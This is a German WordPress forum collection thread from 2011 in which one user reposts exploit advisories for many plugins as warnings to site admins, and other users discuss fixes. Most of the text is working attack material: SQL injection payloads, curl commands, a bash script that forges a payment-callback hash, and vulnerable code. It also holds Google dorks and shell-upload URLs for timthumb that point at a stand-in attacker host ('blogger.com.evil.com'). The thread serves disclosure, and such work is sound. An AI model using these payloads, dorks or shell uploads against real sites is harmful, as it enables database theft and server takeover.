[Sammelthread] WordPress Plugin SQL Injections

Dat Inge

[COLOR="Red"]Ich werde hier Lücken in verschieden Plugins posten. Grund ist einfach, um euch vor Hacks zu schützen. Ihr solltet also diese Plugins erstmal deaktivieren.[/COLOR]

WordPress KNR Author List Widget plugin (SQL Injection)

Zitat

# Exploit Title: WordPress KNR Author List Widget plugin <= 2.0.0 SQL Injection Vulnerability
# Date: 2011-09-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/knr-author-list-widget.zip
# Version: 2.0.0 (tested)

---
PoC
---
http://www.site.com/wp-content/plu…ve.php?listItem[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
foreach ($_GET['listItem'] as $position => $item) :
$iterSql = "UPDATE $wpdb->users SET knr_author_order = $position WHERE ID = $item";
$wpdb->query($iterSql);
endforeach;

# 1337day.com [2011-09-06]

Alles anzeigen

http://www.1337day.com/exploits/16839

Werbepost

Hallo!

Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
✔️ Deutsche Server & DSGVO-konform
✔️ Persönlicher Support (kein 0815-Ticket-System)

Mehr erfahren

mfitzen

Scheint auch schon aus dem offiziellen Repo geflogen zu sein.

Dat Inge

Auf 1337day gibts noch weitere Injection, zu einigen Plugins.
Ich würde dazu vielleicht ein Sammelthread mach und es immer posten, weiß nur nicht, ob es hier gern gesehen ist, von der Boardleitung. Ich fände es nur gut, wenn User darüber informiert werden.

Dat Inge

WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection

Zitat

# Exploit Title: WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/eventify.zip
# Version: 1.7.f (tested)
# Note: magic_quotes has to be turned off

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plu…ventdetails.php
npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9--%20

e.g.:
curl --data "npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9-- " http://www.site.com/wp-content/plu…ventdetails.php

---------------
Vulnerable code
---------------
require_once(str_ireplace("/wp-content","",$_POST['npath']).'/wp-load.php');
$eventid = $_POST['eventid'];
$action = "fetch";

if($action=="fetch"){
...
$qry= "select * from ".$table_name." where em_id='$eventid'" ;
...
$results = $wpdb->get_results($qry);

# 1337day.com [2011-09-07]

Alles anzeigen

http://www.1337day.com/exploits/16846

Dat Inge

Tune Library plugin <= 2.17 SQL Injection Vulnerability

Zitat

# Exploit Title: WordPress Tune Library plugin <= 2.17 SQL Injection Vulnerability
# Date: 2011-09-10
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/tune-library.zip
# Version: 1.5.1 (tested)
# Notes: magic_quotes has to be turned off
# Plugin setting "Filter artists by letter and show alphabetical navigation" has to be turned on

---
PoC
---
http://www.site.com/wp-content/plu…x.php?letter=-1' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20

---------------
Vulnerable code
---------------
$artistletter = $_GET['letter'];
...
if ($options['oneletter'] == false || $showallartists == true)
...
else
{
if ($artistletter == '#')
...
else
{
$querystr ="SELECT distinct artist, 'artist' as source FROM " . $wpdb->prefix . "tracks where artist != '' and artist like '" .$artistletter . "%' order by artist";
}
}

# 1337day.com [2011-09-10]

Alles anzeigen

http://www.1337day.com/exploits/16880

r23

Zitat von Dat Inge

Auf 1337day gibts noch weitere Injection, zu einigen Plugins.

Möchtest du uns jetzt eine Kopie von *jeder* WP Injection, die bei 1337day
veröffentlicht wurde - hier ein Kopie rein hauen?

Warum?

reicht es nicht einen Link hier zu veröffentlichen?

Dat Inge

Was meinst du wieviele User hier lesen und wieviele auf 1337day?

WordPress 3.0.4 (comment_post_ID) <= Blind SQL Injection Vulnerability
http://www.1337day.com/exploits/16882

Dat Inge

e-Commerce plugin <= 3.8.6 SQL Injection Vulnerability

Zitat

# Exploit Title: WordPress WP e-Commerce plugin <= 3.8.6 SQL Injection Vulnerability
# Date: 2011-09-13
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-e-commerce.3.8.6.zip
# Version: 3.8.6 (tested)
# Note: parameter $_POST["cs3"] == md5(md5(urldecode($_POST["cs1"])))
# it has a "chronopay_salt" option but it's set to '' by default (see more description down below)

---------------
PoC (POST data)
---------------
http://www.site.com/?chronopay_callback=true
cs2=chronopay&cs1=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23&cs3=123f7bcd4ba53fade05886a7e77bf045&transaction_type=rebill

e.g.
#!/bin/bash
payload="-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"
hash=`echo -n $payload | md5sum | tr -d '\n' | sed 's/\s*-\s*//g' | md5sum | tr -d '\n' | sed 's/\s*-\s*//g'`
curl --data "cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill" http://www.site.com/?chronopay_callback=true

---------------
Vulnerable code
---------------
./wp-e-commerce/wp-shopping-cart.php:

class WP_eCommerce {
...
function init() {
...
$this->load();
...
}
function load() {
...
wpsc_core_load_gateways();
...
}
...
$wpec = new WP_eCommerce();

./wp-e-commerce/wpsc-core/wpsc-functions.php:

function wpsc_core_load_gateways() {
global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields;

$gateway_directory = WPSC_FILE_PATH . '/wpsc-merchants';
$nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory );

$num = 0;
foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) {
if ( stristr( $nzshpcrt_merchant, '.php' ) ) {
require( WPSC_FILE_PATH . '/wpsc-merchants/' . $nzshpcrt_merchant );
}

./wp-e-commerce/wpsc-merchants/chronopay.php:

function nzshpcrt_chronopay_callback()
{
...
if(isset($_GET['chronopay_callback']) && ($_GET['chronopay_callback'] == 'true') && ($_POST['cs2'] == 'chronopay'))
{
$salt = get_option('chronopay_salt');
// - this is by default '' and set only if explicitly stated
// inside Store Settings->Payments->General Settings->
// Chronopay->Edit->Security Key
// - problem is that there are more popular payment gateways enlisted (e.g.
// Google Checkout and PayPal) and if that setting is not explicitly set
// it wide opens the door to the potential attacker

$gen_hash = md5($salt . md5($_POST['cs1'] . $salt));

if($gen_hash == $_POST['cs3'])
{
...
$sessionid = trim(stripslashes($_POST['cs1']));
$transaction_id = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_id'] = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_type'] = trim(stripslashes($_POST['transaction_type']));

switch($verification_data['trans_type'])
{
...
case 'rebill':
$wpdb->query("UPDATE `".WPSC_TABLE_PURCHASE_LOGS."` SET
`processed` = '2',
`transactid` = '".$transaction_id."',
`date` = '".time()."'
WHERE `sessionid` = ".$sessionid." LIMIT 1");
...
add_action('init', 'nzshpcrt_chronopay_callback');

# 1337day.com [2011-09-13]

Alles anzeigen

http://www.1337day.com/exploits/16910

Dat Inge

Multiple Wordpress timthumb.php reuse vulnerabilities

Zitat

# Exploit Title: Multiple Wordpress timthumb.php reuse vulnerabilities
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)

---
Description
---
The following Wordpress plugins reuse a vulnerable version of the timthumb.php library.

By hosting a malicious GIF file with PHP code appended to the end on an attacker controlled
domain such as blogger.com.evil.com and then providing it to the script through the
src GET parameter, it is possible to upload a shell and execute arbitrary code on the webserver.

Reference: http://www.exploit-db.com/exploits/17602/

# Plugin: Category Grid View Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/category-grid-view-gallery
# Software Link: http://wordpress.org/extend/plugins…llery/download/
# Version: 0.1.1

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/category-grid-view-gallery/includes/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/category-grid-view-gallery/cache/externel_md5(src).php

# Plugin: Auto Attachments Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/auto-attachments
# Software Link: http://wordpress.org/extend/plugins…ments/download/
# Version: 0.2.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/auto-attachments/thumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/auto-attachments/cache/external_md5(src).php

# Plugin: WP Marketplace Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/wp-marketplace
# Software Link: http://wordpress.org/extend/plugins/wp-marketplace/download/
# Version: 1.1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/wp-marketplace/libs/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/wp-marketplace/libs/cache/external_md5(src).php

# Plugin: DP Thumbnail Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/dp-thumbnail
# Software Link: http://wordpress.org/extend/plugins/dp-thumbnail/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/dp-thumbnail/timthumb/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/dp-thumbnail/timthumb/cache/external_md5(src).php

# Plugin: Vk Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/vk-gallery
# Software Link: http://wordpress.org/extend/plugins/vk-gallery/download/
# Version: 1.1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/vk-gallery/lib/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/vk-gallery/lib/cache/md5(src).php

# Plugin: Rekt Slideshow Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/rekt-slideshow
# Software Link: http://wordpress.org/extend/plugins/rekt-slideshow/download/
# Version: 1.0.5

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/rekt-slideshow/picsize.php?src=MALICIOUS_URL

Must first base64 encode the URL.

The uploaded shell can be found at /wp-content/plugins/rekt-slideshow/cache/md5(src).php

# Plugin: CAC Featured Content Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/cac-featured-content
# Software Link: http://wordpress.org/extend/plugins…ntent/download/
# Version: 0.8

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/cac-featured-content/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/cac-featured-content/temp/md5(src).php

# Plugin: Rent A Car Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/rent-a-car
# Software Link: http://wordpress.org/extend/plugins/rent-a-car/download/
# Version: 1.0
---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/rent-a-car/libs/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/rent-a-car/libs/cache/external_md5(src).php

# Plugin: LISL Last Image Slider Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/lisl-last-image-slider
# Software Link: http://wordpress.org/extend/plugins…lider/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/lisl-last-image-slider/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/lisl-last-image-slider/cache/external_md5(src).php

# Plugin: Islidex Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/islidex
# Software Link: http://wordpress.org/extend/plugins/islidex/download/
# Version: 2.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/islidex/js/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/islidex/js/cache/md5(src).php

# Plugin: Kino Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/kino-gallery
# Software Link: http://wordpress.org/extend/plugins/kino-gallery/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/kino-gallery/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/kino-gallery/cache/external_md5(src).php

# Plugin: Cms Pack Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/cms-pack
# Software Link: http://wordpress.org/extend/plugins/cms-pack/download/
# Version: 1.3

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/cms-pack/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/uploads/cms-pack-cache/external_md5(src).php

# Plugin: A Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/a-gallery
# Software Link: http://wordpress.org/extend/plugins/a-gallery/download/
# Version: 0.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/a-gallery/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/a-gallery/cache/external_md5(src).php

# Plugin: Category List Portfolio Page Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/category-list-portfolio-page
# Software Link: http://wordpress.org/extend/plugins…-page/download/
# Version: 0.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/category-list-portfolio-page/scripts/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/category-list-portfolio-page/scripts/cache/external_md5(src).php

# Plugin: Really Easy Slider Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/really-easy-slider
# Software Link: http://wordpress.org/extend/plugins…lider/download/
# Version: 0.1

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/really-easy-slider/inc/thumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/really-easy-slider/inc/cache/external_md5(src).php

# Plugin: Verve Meta Boxes Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/verve-meta-boxes
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins…boxes/download/
# Version: 1.2.8

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/verve-meta-boxes/tools/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/verve-meta-boxes/tools/cache/external_md5(src).php

# Plugin: User Avatar Wordpress plugin shell upload vulnerability
# Google Dork: inurl:wp-content/plugins/user-avatar
# Software Link: http://wordpress.org/extend/plugins/user-avatar/download/
# Version: 1.3.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/user-avatar/user-avatar-pic.php?id=0&allowedSites[]=blogger.com&src=http://blogger.com.evil.com/poc.php

Requires register_globals to be enabled and at least one user account to have an avatar directory.

The uploaded shell can be found at /wp-content/uploads/avatars/$id/external_md5(src).php

# Plugin: Extend Wordpress Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/extend-wordpress
# Software Link: http://wordpress.org/extend/plugins…press/download/
# Version: 1.3.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/extend-wordpress/helpers/timthumb/image.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/extend-wordpress/helpers/timthumb/cache/external_md5(src).php

# 1337day.com [2011-09-19]

Alles anzeigen

http://www.1337day.com/exploits/16953

Dat Inge

WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability

Zitat

# Exploit Title: WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.5.zip
# Version: 3.6.5 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plu…out.php?track=1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
---------------
if(isset($_GET['track']) OR $_GET['track'] != '') {
$meta = urldecode($_GET['track']);
...
list($ad, $group, $block) = explode("-", $meta);
...
$bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;");

# 1337day.com [2011-09-24]

Alles anzeigen

http://www.1337day.com/exploits/16968

Dat Inge

CevherShare 2.0 plugin SQL Injection Vulnerability

Zitat

=> WordPress CevherShare 2.0 plugin SQL Injection Vulnerability
=> Bugfounder: bd0rk
=> Contact: bd0rk[at]hackermail.com
=> Greetings: 1337day.com , Perle, Martin K., Carsten R., x0r_32
=> Affected-Software: WordPress CevherShare 2.0 plugin
=> Vendor: http://phpkode.com/
=> Download: http://phpkode.com/download/s/cevhershare.zip
=> Tested on: Ubuntu-Linux
Vulnerable C0de in cevhershare/cevhershare-admin.php
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
PoC: http://[someone]/wp-content/plugins/cevhershare/cevhershare-admin.php?id=[SQL-Injection]
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
$pos = $_GET['pos'] ? $_GET['pos'] : $_POST['pos'];
$status = $_GET['status'] ? $_GET['status'] : $_POST['status'];
$task = $_GET['t'] ? $_GET['t'] : $_POST['t'];
$do = $_POST['do'];
if($do == "update-lang"){
$uplang = $_POST['update-lang'];
update_option('cevhershare_language',$uplang);
}
if($id) $item = $wpdb->get_row("SELECT * FROM ".$wpdb->prefix."cevhershare WHERE id=$id");
if($do == 'update') $wpdb->query("UPDATE ".$wpdb->prefix."cevhershare SET enabled='".$_POST['enabled']."', position='".$_POST['position']."', name='".$_POST['name']."', big='".$_POST['big']."', small='".$_POST['small']."' WHERE id='$id'");
elseif($do == 'add') $wpdb->query("INSERT INTO ".$wpdb->prefix."cevhershare (position, name, big, small) VALUES('".$_POST['position']."','".$_POST['name']."', '".$_POST['big']."', '".$_POST['small']."')");
elseif($do == 'delete') $wpdb->query("DELETE FROM ".$wpdb->prefix."cevhershare WHERE id=$id LIMIT 1");
elseif($do == 'reset') cevhershare_reset();
elseif($do == 'settings'){
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Greetings from cold Germany, bd0rk. :-)

# 1337day.com [2011-09-26]

Alles anzeigen

http://www.1337day.com/exploits/16971

Dat Inge

WordPress Mingle Forum plugin <= 1.0.31 SQL Injection Vulnerability

Zitat

# Exploit Title: WordPress Mingle Forum plugin <= 1.0.31 SQL Injection Vulnerability
# Date: 2011-09-19
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mingle-forum.1.0.31.zip
# Version: 1.0.31 (tested)
# Note: wpf_str_encrypt($_POST['wpf_security_code']) == $_POST['wpf_security_check']

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plu…/wpf-insert.php
wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.
curl --data "wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" http://www.site.com/wp-content/plu…/wpf-insert.php

---------------
Vulnerable code
---------------
if (!isset($_POST['edit_post_submit'])) {
$errormsg = apply_filters('wpwf_check_guestinfo',"");
if ($errormsg != "") {
$error = true;
wp_die($errormsg);
}
}

if($options['forum_captcha'] == true && !$user_ID){
include_once(WPFPATH."captcha/shared.php");
$wpf_code = wpf_str_decrypt($_POST['wpf_security_check']); // wpf_str_decrypt("MhWNow==") == "fail"
if(($wpf_code == $_POST['wpf_security_code']) && (!empty($wpf_code))) {
// do nothing
}
else {
$error = true;
$msg = __("Security code does not match", "mingleforum");
wp_die($msg);
}
}

...

if(isset($_POST['edit_post_submit'])){
$myReplaceSub = array("'", "\\");
$subject = str_replace($myReplaceSub, "", $mingleforum->input_filter($_POST['edit_post_subject']));
$content = $mingleforum->input_filter($_POST['message']);
$thread = $mingleforum->check_parms($_POST['thread_id']);
$edit_post_id = $_POST['edit_post_id'];

if($subject == ""){
$msg .= "<h2>".__("An error occured", "mingleforum")."</h2>";
$msg .= ("<div id='error'><p>".__("You must enter a subject", "mingleforum")."</p></div>");
$error = true;
}
elseif($content == ""){
$msg .= "<h2>".__("An error occured", "mingleforum")."</h2>";
$msg .= ("<div id='error'><p>".__("You must enter a message", "mingleforum")."</p></div>");
$error = true;
}

if ($error) wp_die($msg);

//SECURITY FIX NEEDED <-- actual author's comment :)
$sql = ("UPDATE $mingleforum->t_posts SET text = '$content', subject = '$subject' WHERE id = $edit_post_id");
$wpdb->query($wpdb->prepare($sql)); // misusage of prepare statement(s)

# 1337day.com [2011-09-27]

Alles anzeigen

http://www.1337day.com/exploits/16975

mfitzen

Oh nein, nicht das Mingle Forum... Der Autor arbeitet jedenfalls schon an einem Fix...

Tutrix

Das scheint ja nur die Captcha-Funktion zu betreffen. Wer also ein Mingle Forum betreibt sollte bis das gefixt ist, das Forum nur für registrierte User freigeben. Also auch "Verwende Captcha für nicht registrierte Benutzer:" deaktivieren.

Edit: 29.09.11 Fehler wurde von Paul behoben, Update auf Version: 1.0.31.2 steht zum Download bereit.

Dat Inge

Danke art of Pic für die Meldung.
Genau dafür ist der Thread, denn so bekommen es mehr User/Admins/Coder mit und man kann schneller ein Fix bekommen. Glaube kaum, das sich jeder Admin auf 1337day rumtreibt. Aber fast alle sind hier im Forum.

Tutrix

Ideal wäre ein Hinweis im Dashboard, das das Plugin eine Sicherheitslücke aufweist, so wie es auch für ein vorhandenes Update der Fall ist.
Zwar werden Plugins mit Sicherheitslücken bei WP.org vorübergehend nicht mehr zu Download angeboten, nützt aber demjenigen nichts der dies bereits im Einsatz hat.

Dat Inge

WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability

Zitat

#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]
#Date: 2011-09-25
#Author: [cheki]
#Version:[3.2.1]
#Tested on:[linux]
#Used: ["sqlmap"]
#SQL Injection
http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1

#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)

#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)

#Home page: http://hacking.ge/

# 1337day.com [2011-10-11]

Alles anzeigen

http://www.1337day.com/exploits/17053

Dat Inge

WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability

Zitat

# Exploit Title: WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability
# Date: 2011-09-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/gd-star-rating.zip
# Version: 1.9.10 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plu…&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
./export.php
require_once("./code/cls/export.php");
...
if (isset($_GET["ex"])) {
$export_type = $_GET["ex"];
...
switch($export_type) {
case "user":
header('Content-type: text/csv');
header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"');
$sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data);
$rows = $wpdb->get_results($sql, ARRAY_N);

./code/cls/export.php
class GDSRExport {
...
function export_users($user_data = "min", $data_export = "article", $get_data = array()) {
...
$where = array();
...
$where[] = "v.vote_type = '".$data_export."'";
...
$j_where = join(" and ", $where);
...
return sprintf("select %s from %s where %s order by u.id",
$j_select, $j_tables, $j_where);

# 1337day.com [2011-10-12]

Alles anzeigen

http://www.1337day.com/exploits/17055

Dat Inge

WordPress wpsf-js plugin, SQL Injection

Zitat

#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]
#Date: 2011-10-16
#Author: [longrifle0x]
#Version:[3.2.1]
#Tested on:[linux]
#Used: ["sqlmap"]
#SQL Injection
http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1

#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)

#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)

# 1337day.com [2011-10-16]

Alles anzeigen

http://www.1337day.com/exploits/17069

Dat Inge

WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability

WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability

Zitat

# Exploit Title: WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability
# Date: 2011-10-13
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Software Link: http://downloads.wordpress.org/plugin/contact-form-wordpress.zip
# Version: 2.7.5 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plu…-form.class.php
wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.
curl --data "wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://127.0.0.1/wordpress/?p=1

---------------
Vulnerable code
---------------
Line 49:
public function the_content($content) {
global $wpdb;
global $table_name;
global $settings_table_name;

$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {

$form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

---------------
Patch
---------------

*** ./easy-form.class.php.orig 2011-10-13 19:53:05.674800956 -0400
--- ./easy-form.class.php 2011-10-13 19:51:21.442799615 -0400
***************
*** 54,61 ****
$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {
!
! $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

$continue = true;

--- 54,63 ----
$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {
! $wpcf_easyform_formid=$_POST['wpcf_easyform_formid'];
! $wpcf_easyform_formid=substr($wpcf_easyform_formid,2);
!
! $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$wpcf_easyform_formid);

$continue = true;

***************
*** 71,80 ****
if ($continue) {

//loop through the fields of this form (read from DB) and build the message here
! $form_fields = $wpdb->get_results("
SELECT *
FROM $settings_table_name
! WHERE form_id = ".$_POST['wpcf_easyform_formid']."
ORDER BY position
");

--- 73,82 ----
if ($continue) {

//loop through the fields of this form (read from DB) and build the message here
! $form_fields = $wpdb->get_results("
SELECT *
FROM $settings_table_name
! WHERE form_id = ".$wpcf_easyform_formid."
ORDER BY position
");

# 1337day.com [2011-10-13]

Alles anzeigen

http://www.1337day.com/exploits/17061

Willkommen! Melden Sie sich an oder registrieren Sie sich.

[Sammelthread] WordPress Plugin SQL Injections

Jetzt mitmachen!